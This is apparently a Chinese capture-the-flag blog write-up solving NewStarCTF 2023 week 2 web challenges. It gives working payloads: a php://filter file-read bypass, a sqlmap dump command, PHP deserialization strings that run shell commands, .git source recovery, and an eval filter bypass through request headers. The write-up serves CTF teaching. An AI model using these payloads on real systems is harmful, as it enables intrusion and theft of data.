NewStarCTF 2023 week2 wp

web

游戏高手

查看js源码可以看到以下片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
游戏高手//游戏结束
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true); //向/api.php post发包
xhr.setRequestHeader("Content-Type", "application/json"); //设置header
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data)); //json格式发送score
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}


include 0。0

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

显然是ban了filter协议的base和rot编码
然鹅filter不只支持base和rot编码
https://blog.csdn.net/gental_z/article/details/122303393
?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php

ez_sql

sqlmap -r 1.txt --batch -D ctf -T here_is_flag -C flag --dump
1.txt 是 抓包

1
2
3
4
5
6
7
8
9
GET /?id=TMP1589 HTTP/1.1
Host: e0f82dae-d70f-441e-bb37-aec6423da5b0.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Unserialize?

反序列化 private 变量序列化之后产生不可见字符 用%00替换

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}

也可以用

  • od -c:unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:36:"od /th1s_1s_fffflllll4444aaaggggg";}
  • uniq :unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"uniq /th1s_1s_fffflllll4444aaaggggg";}
  • head:unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
  • sort:unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
  • file -f :unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:38:"file -f /th1s_1s_fffflllll4444aaaggggg";}

Upload again!

.htaccess

script标签绕过

R!!C!!E!!

dirsearch扫
buu 特性 要设置延时
dirsearch -u [http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/](http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/) --delay=5

GitHack
python2 GitHack.py -u [http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/.git/](http://2720598a-9ade-4894-aa95-bed7e562413c.node4.buuoj.cn:81/.git/)
bo0g1pop.php

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

[^\W]+\((?R)?\)
[^\W]匹配所有字符
(?R)表示递归
这个正则匹配类似abc()的字符 而preg_replace把匹配到的类似的字符置空



可以看出 大概逻辑就是括号里面不能有字符,如果有则必须是xxx()格式的
get_defined_vars scandirban了好多payload
思路就是找到一个可以传参数的地方然后再套一个eval来绕过
get_defined_vars()返回是一个包含 GET、POST等的数组 这里被ban了,搜一下有没有类似函数
有两个get_defined_functions()get_defined_constants() 分别返回已定义方法 、 常量
get_defined_functions()里面有很多方法包括scandirget_defined_vars()
但是数组太大,不知道怎么选中其中一个键
后面想到,能传参数的不只有GET POST 还有 header
翻php文档发现get_headers可以取得服务器响应 HTTP 请求所发送的所有标头
但是这个函数需要一个参数
然后找到了headers_list

语法错误…
再找找
apache_response_headers 还是 只有content-type ………
然后找到了getallheaders()

可以用ua头

或者xff和X-Forwarded-Proto


NewStarCTF 2023 week2 wp
http://example.com/2023/10/16/NewStarCTF 2023 week2/
作者
J_0k3r
发布于
2023年10月16日
许可协议
BY J_0K3R